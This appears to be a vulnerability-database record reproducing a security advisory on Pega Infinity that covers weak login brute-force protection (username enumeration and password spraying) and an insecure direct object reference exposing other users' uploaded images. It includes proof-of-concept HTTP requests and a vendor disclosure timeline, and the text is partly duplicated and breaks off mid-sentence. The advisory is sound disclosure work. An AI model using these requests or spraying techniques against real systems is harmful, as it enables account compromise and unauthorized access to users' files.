pyActivity=SubmitModalFlowAction&EXPANDEDLGLayoutGrouppyEnterCaseDetailsS1=2&LGTypeLGLayoutGrouppyEnterCaseDetailsS1=tab&appendUniqueIdToFileName=true&$PpyAttachmentPage$ppxAttachName=&$PAddRecentContent$ppyLabel=cat&$PAddRecentContent$ppyDocumentAccessibleTo=Context&$PAddRecentContent$ppyDocumentContextLabel=XXX&$PAddRecentContent$ppyTopCaseID=FE-1001&$PAddRecentContent$ppyCaseContext=XXX&$PAddRecentContent$ppyClassContext=XXX&$PAddRecentContent$ppyContextType=Case&$PAddRecentContent$ppyContent=&$PAddRecentContent$ppyDescription=&$OCompositeGadget=&$OControlMenu=&$ODesktopWrapperInclude=&$ODeterminePortalTop=&$ODeveloperAssistant=&$ODynamicContainerFrameLess=&$ODynamicLayout=&$ODynamicLayoutCell=&$OEvalDOMScripts_Include=&$OForm=&$OGapIdentifier=&$OHarness=&$OHarnessStaticJSEnd=&$OHarnessStaticJSStart=&$OHarnessStaticScriptsClientValidation=&$OHarnessStaticScriptsExprCal=&$OLaunchFlow=&$OMenuBar=&$OMenuBarOld=&$OMicroDynamicContainer=&$OMobileAppNotify=&$OOperatorPresenceStatusScripts=&$OPMCPortalStaticScripts=&$ORepeatingDynamicLayout=&$ORepeatingGrid=&$OSessionUser=&$OSurveyStaticScripts=&$OWorkformStyles=&$Ocosmoslocale=&$OmenubarInclude=&$OpxButton=&$OpxDisplayText=&$OpxDropdown=&$OpxDynamicContainer=&$OpxGrid=&$OpxGridBody=&$OpxGridDataCell=&$OpxGridDataRow=&$OpxGridHeaderCell=&$OpxGridHeaderRow=&$OpxHarnessContent=&$OpxHidden=&$OpxIcon=&$OpxLayoutContainer=&$OpxLayoutHeader=&$OpxLink=&$OpxMenu=&$OpxMicroDynamicContainer=&$OpxNonTemplate=&$OpxSection=&$OpxTextInput=&$OpxVisible=&$OpxWorkArea=&$OpxWorkAreaContent=&$OpxWorkAreaHeader=&$OpyDirtyCheckConfirm=&$OpyWorkFormStandardEnd=&$OpyWorkFormStandardStart=&$Opycosmoscustomstyles=&$OpzAppLauncher=&$OpzDecimalInclude=&$OpzFrameLessDCScripts=&$OpzHarnessInlineScriptsEnd=&$OpzHarnessInlineScriptsStart=&$OpzMicroDynamicContainerScripts=&$OpzPegaCompositeGadgetScripts=&$OpzRuntimeToolsBar=&$Opzpega_ui_harnesscontext=&$Ordlincludes=&$OxmlDocumentInclude=&$OLGBundle=&$OLayoutGroup=&$OPegaSocial=&$OpxHeaderCell=&$OpxTextArea=&$Opycosmoscustomscripts=&$Opzcosmosuiscripts=&$Opzpega_control_attachcontent=&$OAttachmentActions=&$OAttachmentInlineView=&$OExternalViewerJS=&$OContainerDynamicLayoutGroup=&$ODynamicLayoutGroup=&$Olayoutgroupincludes=&$OpxAutoComplete=&$OpxRadioButtons=&$OpzAutoCompleteAGIncludes=&$OpzCKEditorScripts=&actionName=pzManageRecentContent&KeepMessages=false&FormError=NONE&pyCustomError=pyCaseErrorSection&modalSection=pyFlexModalTemplate&bIsOverlay=false&InterestPage=pyWorkPage&HarnessType=NEW&UITemplatingStatus=Y&pzHarnessID=HIDAA6704B0D23A3D2ABE9B1450BC6F31C4&inStandardsMode=true
Now user_1 requests the image uploaded by user_2:
GET /XXX/app/XXX/datacontent/image/DOCUMENT/DOC-1008.png HTTP/1.1
Host: [...]
Cookie: Pega-RULES=%09%7Bpd%7DAAAABr3F5Rfo8PLlkIsDNLwSbSZ0HFLGwnS6[...];
JSESSIONID=cp7pHh8XQZvwMBc-vQ9JtZFJ5c4BEzYhWFLdcM0A.[...]; ROUTEID=[...]
Connection: close
The server responds with the requested image:
HTTP/1.1 200 OK
Date: Thu, 12 Dec 2024 14:01:39 GMT
[...]
‰PNG
[...]
User_1 can read all uploaded images of user_2 by guessing the filenames and
accessing them directly.
Vulnerable / tested versions:
-----------------------------
According to the vendor, the following versions are vulnerable:
CVE-2025-62181: Pega Platform versions 7.1.0 through Infinity 25.1.0
CVE-2025-9559: Pega Platform versions 8.7.5 to Infinity 24.2.2
Vendor contact timeline:
------------------------
2025-01-14: Contacting vendor throughSecurityReport () Pega com; CSOC responds.
2025-01-16: Sending advisory toIncidentResponse () pega com
2025-02-04: Asking for a status update regarding the internal analysis.
2025-02-05: Vendor received submission
2025-02-21: Vendor requested additional information
2025-03-03: Additional information sent to vendor
2025-03-18: Asking for a status update.
2025-04-15: Contacted vendor again, set deadline until end of April.
2025-04-17: Vendor excuses delayed response, will provide further info on 18th.
2025-04-18: Vendor provides status update regarding the two issues.
2025-04-22: Vendor provides further status update
2025-04-23: Sending additional details to the vendor regarding brute-force
detection.
2025-04-24: Vendor acknowledges some defects, others are still reviewed.
2025-04-29: Additional information sent to vendor
2025-05-01: Vendor is still reviewing user enumeration, ETA for IDOR should
follow by the end of the week.
2025-05-03: Vendor requested more time.
2025-05-06: Asking vendor when the vulnerabilities will be fixed
2025-05-08: Vendor will send timeframe on 12 May.
2025-05-14: Vendor is targeting a solution to be available in v25.1.1 (Sept. '25)
for user enumeration, IDOR follows the patch schedule (23.1.5, 24.1.4, 24.2.3, 25.1.0)
herehttps://support.pega.com/pega-infinity-patch-calendar
2025-05-15: Confirmed the vendor that we are willing to wait until September.
2025-08-26: Contacted the vendor if the timeframe is still valid.
2025-08-27: Vendor wants to postpone advisory re
Severity
No CVSS data available.
Assigner
References
16 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Pega | SEC Consult SA-20260317-0 |
Affected:
unknown
|
Relationships
analysis
GCVE-1988-2026-0257 (this record)
- related CVE-2025-62181
- related CVE-2025-9559
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"value": "SEC Consult Vulnerability Lab Security Advisory \u003c 20260317-0 \u003e\n=======================================================================\n title: Multiple vulnerabilities\n \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 product: PEGA Infinity platform\n vulnerable version: CVE-2025-62181: Pega Platform versions 7.1.0 through Infinity 25.1.0\n \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 CVE-2025-9559: Pega Platform versions 8.7.5 to Infinity 24.2.2\n\u00a0 \u00a0 \u00a0 fixed version: CVE-2025-62181: 24.1.4, 24.2.4, and 25.1.1 patch\n CVE-2025-9559: \u00a024.2.3\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0CVE number: CVE-2025-62181, CVE-2025-9559\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0impact: medium\n homepage:https://www.pega.com/\n \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 found: 2024-12-12\n \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0by: Eric Kahlert\n SEC Consult Vulnerability Lab\n\n An integrated part of SEC Consult, an Atos business\n Europe | Asia\n\n https://www.sec-consult.com\n\n=======================================================================\n\nVendor description:\n-------------------\n\"We are Pega- The enterprise transformation company.\u2122\nOur enterprise AI decisioning and workflow automation platform delivers business\ntransforming value. Together, we partner with the world\u2019s largest organizations\nto Build for Change\u00ae.\"\n\nSource:https://www.pega.com/about\n\n\nBusiness recommendation:\n------------------------\nThe vendor provides a patch which should be installed immediately.\n\nSEC Consult highly recommends to perform a thorough security review of the product\nconducted by security professionals to identify and resolve potential further\nsecurity issues.\n\n\nVulnerability overview/description:\n-----------------------------------\n1) Weak Brute-Force protection for login page (CVE-2025-62181)\nThe application\u0027s login form implements a weak login brute-force protection\nmechanism, which is only effective against multiple login attempts using\ndifferent passwords. Attacks using the same password on different users and\nusername enumeration are therefore not prevented.\n\nAn attacker can perform the following attacks:\n- Username Enumeration: An attacker can test a large list of potential usernames\n against the login mechanism and distinguish between valid and invalid usernames\n based on the server\u0027s response time.\n- Password Spraying: In a password spraying attack, the same password is tested\n against many different usernames, potentially granting unauthorized access to user\n accounts in the worst-case scenario. To exploit this vulnerability, an attacker\n could, for example, create a script that uses the most common passwords and a list\n of known valid usernames to attempt authentication.\n\n2) Insecure Direct Object Reference (IDOR) (CVE-2025-9559)\nAn Insecure Direct Object Reference (IDOR) occurs when an application grants direct\naccess to objects based on user input without performing sufficient authorization\nchecks. As a result, attackers can bypass authorization and directly access system\nresources, such as files. In this case the IDOR vulnerability can be used to read\nimage files from other users without setting the option to share the images with\nothers.\n\n\nProof of concept:\n-----------------\n1) Weak Brute-Force protection for login page (CVE-2025-62181)\nThis is an invalid login request:\nPOST /XXX/app/default/CHhSc-bWE3BYCBUOUq46CjlmQt_t3VKg*/!STANDARD HTTP/1.1\nHost: [...]\nCookie: Pega-RULES=[...]; JSESSIONID=[...]; ROUTEID=[...]\n[...]\n\npzAuth=guest\u0026UserIdentifier=PentestBenutzer_1\u0026Password=invalid_password\u0026pyActivity%3DCode-Security.Login=\u0026lockScreenID=\u0026lockScreenPassword=\u0026newPassword=\u0026confirmNewPassword=\n\nThe server response for a valid username shows a significantly higher response\ntime compared to responses with invalid usernames. An attacker can use a large\nlist of potential usernames in a script to enumerate valid usernames, as illustrated\nin the following example, see figure \u003cresponseTimeTable.png\u003e\n\nIn less than a minute, 8,000 invalid authentication attempts were made from the same\nIP address using different usernames and the same password.\n\nPassword Spraying:\nAfter enumerating valid usernames, an attacker can execute a password spraying attack by\nusing the same request method as for username enumeration. A script is used to test the\nsame password across many different usernames without triggering the brute-force protection.\nDuring this attack, 8,000 invalid authentication attempts were again made from the same\nIP address in under a minute, using different usernames and the same password.\nThe attacker would repeat this attack with a list of valid usernames and common passwords\nuntil a successful login is found.\n\nAs shown in the following example, the attack was successful with the username PentestBenutzer_1.\nSee figure \u003cpasswordSpray.png\u003e\n\n\n2) Insecure Direct Object Reference (IDOR) (CVE-2025-9559)\nIn order to verify this vulnerability, e.g. a test user \"user_1\" is logged in:\nPOST /XXX/app/default/CHhSc-bWE3BYCBUOUq46CjlmQt_t3VKg*/!STANDARD HTTP/1.1\nHost: [...]\nCookie: p_unknown=true%7Bapp%7D; Pega-RULES[...]; JSESSIONID=[...]; ROUTEID=[...]\n[...]\n\npzAuth=guest\u0026UserIdentifier=user_1\u0026Password=[...]\u0026pyActivity%3DCode-Security.Login=\u0026lockScreenID=\u0026lockScreenPassword=\u0026newPassword=\u0026confirmNewPassword=\n\nThe user receives the following Pega-RULES session cookie:\n\nHTTP/1.1 303 See Other\nDate: Thu, 12 Dec 2024 13:36:53 GMT\n[...]\nSET-COOKIE: Pega-RULES=%09%7Bpd%7DAAAABr3F5Rfo8PLlkIsDNLwSbSZ0HFLGwnS6[...]; Path=[...]; Secure; HttpOnly; SameSite=Lax;\nX-Content-Type-Options: nosniff\nConnection: close\n\nAnother user \"user_2\" uploads an image, which is a two step process:\nPOST \n/XXX/app/XXX/bJXRcBOqwaiAstqd8LVSHIEMFNxpnKrvbr_zZRJ5OsQ*/!DCSPA_UserPortal?pyActivity=ReloadSection\u0026pzTransactionId=b1f46a71d9635ab261358a8a4a9cbfdb\u0026pzFromFrame=pyWorkPage\u0026pzPrimaryPageName=pyWorkPage\u0026pzKeepPageMessages=false\u0026strPHarnessClass=XXX\u0026strPHarnessPurpose=Review\u0026UITemplatingStatus=Y\u0026StreamName=pzBrowseDocument\u0026BaseReference=pyAttachmentPage\u0026StreamClass=Rule-HTML-Section\u0026bClientValidation=true\u0026FormError=NONE\u0026pyCustomError=pyCaseErrorSection\u0026PreActivity=pzUploadFileToADocument\u0026HeaderButtonSectionName=-1\u0026PagesToRemove=\u0026pzHarnessID=HIDAA6704B0D23A3D2ABE9B1450BC6F31C4\u0026inStandardsMode=true\u0026AJAXTrackID=1\u0026PreDataTransform=\n HTTP/1.1\nHost: [...]\nCookie: Pega-Perf=itkn=5; Pega-RULES[...]; JSESSIONID=p_MM8f2VfKMT5sKhvtIc5_tNIt_foyBkqcpUIVW0.[...]; ROUTEID=[...]\nContent-Length: 32973\n[...]\n------WebKitFormBoundaryTll7wmP4P42lbosV\nContent-Disposition: form-data; name=\"$PpyAttachmentPage$ppxAttachName\"; filename=\"cat.png\"\nContent-Type: image/png\n\nPNG\n[...]\n\n\nThe upload is finalized with a second HTTP POST request:\nPOST \n/XXX/app/XXX/bJXRcBOqwaiAstqd8LVSHIEMFNxpnKrvbr_zZRJ5OsQ*/!DCSPA_UserPortal?pzTransactionId=b1f46a71d9635ab261358a8a4a9cbfdb\u0026pzFromFrame=pyWorkPage\u0026pzPrimaryPageName=pyWorkPage\u0026AJAXTrackID=1\n HTTP/1.1\nHost: [...]\nCookie: Pega-Perf=itkn=7\u0026start; Pega-RULES=[...]; JSESSIONID=p_MM8f2VfKMT5sKhvtIc5_tNIt_foyBkqcpUIVW0.[...]; \nROUTEID=[...]\nContent-Length: 2655\n[...]\n\npyActivity=SubmitModalFlowAction\u0026EXPANDEDLGLayoutGrouppyEnterCaseDetailsS1=2\u0026LGTypeLGLayoutGrouppyEnterCaseDetailsS1=tab\u0026appendUniqueIdToFileName=true\u0026$PpyAttachmentPage$ppxAttachName=\u0026$PAddRecentContent$ppyLabel=cat\u0026$PAddRecentContent$ppyDocumentAccessibleTo=Context\u0026$PAddRecentContent$ppyDocumentContextLabel=XXX\u0026$PAddRecentContent$ppyTopCaseID=FE-1001\u0026$PAddRecentContent$ppyCaseContext=XXX\u0026$PAddRecentContent$ppyClassContext=XXX\u0026$PAddRecentContent$ppyContextType=Case\u0026$PAddRecentContent$ppyContent=\u0026$PAddRecentContent$ppyDescription=\u0026$OCompositeGadget=\u0026$OControlMenu=\u0026$ODesktopWrapperInclude=\u0026$ODeterminePortalTop=\u0026$ODeveloperAssistant=\u0026$ODynamicContainerFrameLess=\u0026$ODynamicLayout=\u0026$ODynamicLayoutCell=\u0026$OEvalDOMScripts_Include=\u0026$OForm=\u0026$OGapIdentifier=\u0026$OHarness=\u0026$OHarnessStaticJSEnd=\u0026$OHarnessStaticJSStart=\u0026$OHarnessStaticScriptsClientValidation=\u0026$OHarnessStaticScriptsExprCal=\u0026$OLaunchFlow=\u0026$OMenuBar=\u0026$OMenuBarOld=\u0026$OMicroDynamicContainer=\u0026$OMobileAppNotify=\u0026$OOperatorPresenceStatusScripts=\u0026$OPMCPortalStaticScripts=\u0026$ORepeatingDynamicLayout=\u0026$ORepeatingGrid=\u0026$OSessionUser=\u0026$OSurveyStaticScripts=\u0026$OWorkformStyles=\u0026$Ocosmoslocale=\u0026$OmenubarInclude=\u0026$OpxButton=\u0026$OpxDisplayText=\u0026$OpxDropdown=\u0026$OpxDynamicContainer=\u0026$OpxGrid=\u0026$OpxGridBody=\u0026$OpxGridDataCell=\u0026$OpxGridDataRow=\u0026$OpxGridHeaderCell=\u0026$OpxGridHeaderRow=\u0026$OpxHarnessContent=\u0026$OpxHidden=\u0026$OpxIcon=\u0026$OpxLayoutContainer=\u0026$OpxLayoutHeader=\u0026$OpxLink=\u0026$OpxMenu=\u0026$OpxMicroDynamicContainer=\u0026$OpxNonTemplate=\u0026$OpxSection=\u0026$OpxTextInput=\u0026$OpxVisible=\u0026$OpxWorkArea=\u0026$OpxWorkAreaContent=\u0026$OpxWorkAreaHeader=\u0026$OpyDirtyCheckConfirm=\u0026$OpyWorkFormStandardEnd=\u0026$OpyWorkFormStandardStart=\u0026$Opycosmoscustomstyles=\u0026$OpzAppLauncher=\u0026$OpzDecimalInclude=\u0026$OpzFrameLessDCScripts=\u0026$OpzHarnessInlineScriptsEnd=\u0026$OpzHarnessInlineScriptsStart=\u0026$OpzMicroDynamicContainerScripts=\u0026$OpzPegaCompositeGadgetScripts=\u0026$OpzRuntimeToolsBar=\u0026$Opzpega_ui_harnesscontext=\u0026$Ordlincludes=\u0026$OxmlDocumentInclude=\u0026$OLGBundle=\u0026$OLayoutGroup=\u0026$OPegaSocial=\u0026$OpxHeaderCell=\u0026$OpxTextArea=\u0026$Opycosmoscustomscripts=\u0026$Opzcosmosuiscripts=\u0026$Opzpega_control_attachcontent=\u0026$OAttachmentActions=\u0026$OAttachmentInlineView=\u0026$OExternalViewerJS=\u0026$OContainerDynamicLayoutGroup=\u0026$ODynamicLayoutGroup=\u0026$Olayoutgroupincludes=\u0026$OpxAutoComplete=\u0026$OpxRadioButtons=\u0026$OpzAutoCompleteAGIncludes=\u0026$OpzCKEditorScripts=\u0026actionName=pzManageRecentContent\u0026KeepMessages=false\u0026FormError=NONE\u0026pyCustomError=pyCaseErrorSection\u0026modalSection=pyFlexModalTemplate\u0026bIsOverlay=false\u0026InterestPage=pyWorkPage\u0026HarnessType=NEW\u0026UITemplatingStatus=Y\u0026pzHarnessID=HIDAA6704B0D23A3D2ABE9B1450BC6F31C4\u0026inStandardsMode=true\n\n\nNow user_1 requests the image uploaded by user_2:\nGET /XXX/app/XXX/datacontent/image/DOCUMENT/DOC-1008.png HTTP/1.1\nHost: [...]\nCookie: Pega-RULES=%09%7Bpd%7DAAAABr3F5Rfo8PLlkIsDNLwSbSZ0HFLGwnS6[...]; \nJSESSIONID=cp7pHh8XQZvwMBc-vQ9JtZFJ5c4BEzYhWFLdcM0A.[...]; ROUTEID=[...]\nConnection: close\n\n\nThe server responds with the requested image:\n\nHTTP/1.1 200 OK\nDate: Thu, 12 Dec 2024 14:01:39 GMT\n[...]\n\n\u2030PNG\n[...]\n\nUser_1 can read all uploaded images of user_2 by guessing the filenames and\naccessing them directly.\n\n\nVulnerable / tested versions:\n-----------------------------\nAccording to the vendor, the following versions are vulnerable:\nCVE-2025-62181: Pega Platform versions 7.1.0 through Infinity 25.1.0\nCVE-2025-9559: Pega Platform versions 8.7.5 to Infinity 24.2.2\n\n\nVendor contact timeline:\n------------------------\n2025-01-14: Contacting vendor throughSecurityReport () Pega com; CSOC responds.\n2025-01-16: Sending advisory toIncidentResponse () pega com\n2025-02-04: Asking for a status update regarding the internal analysis.\n2025-02-05: Vendor received submission\n2025-02-21: Vendor requested additional information\n2025-03-03: Additional information sent to vendor\n2025-03-18: Asking for a status update.\n2025-04-15: Contacted vendor again, set deadline until end of April.\n2025-04-17: Vendor excuses delayed response, will provide further info on 18th.\n2025-04-18: Vendor provides status update regarding the two issues.\n2025-04-22: Vendor provides further status update\n2025-04-23: Sending additional details to the vendor regarding brute-force\n detection.\n2025-04-24: Vendor acknowledges some defects, others are still reviewed.\n2025-04-29: Additional information sent to vendor\n2025-05-01: Vendor is still reviewing user enumeration, ETA for IDOR should\n follow by the end of the week.\n2025-05-03: Vendor requested more time.\n2025-05-06: Asking vendor when the vulnerabilities will be fixed\n2025-05-08: Vendor will send timeframe on 12 May.\n2025-05-14: Vendor is targeting a solution to be available in v25.1.1 (Sept. \u002725)\n for user enumeration, IDOR follows the patch schedule (23.1.5, 24.1.4, 24.2.3, 25.1.0)\n herehttps://support.pega.com/pega-infinity-patch-calendar\n2025-05-15: Confirmed the vendor that we are willing to wait until September.\n2025-08-26: Contacted the vendor if the timeframe is still valid.\n2025-08-27: Vendor wants to postpone advisory re"
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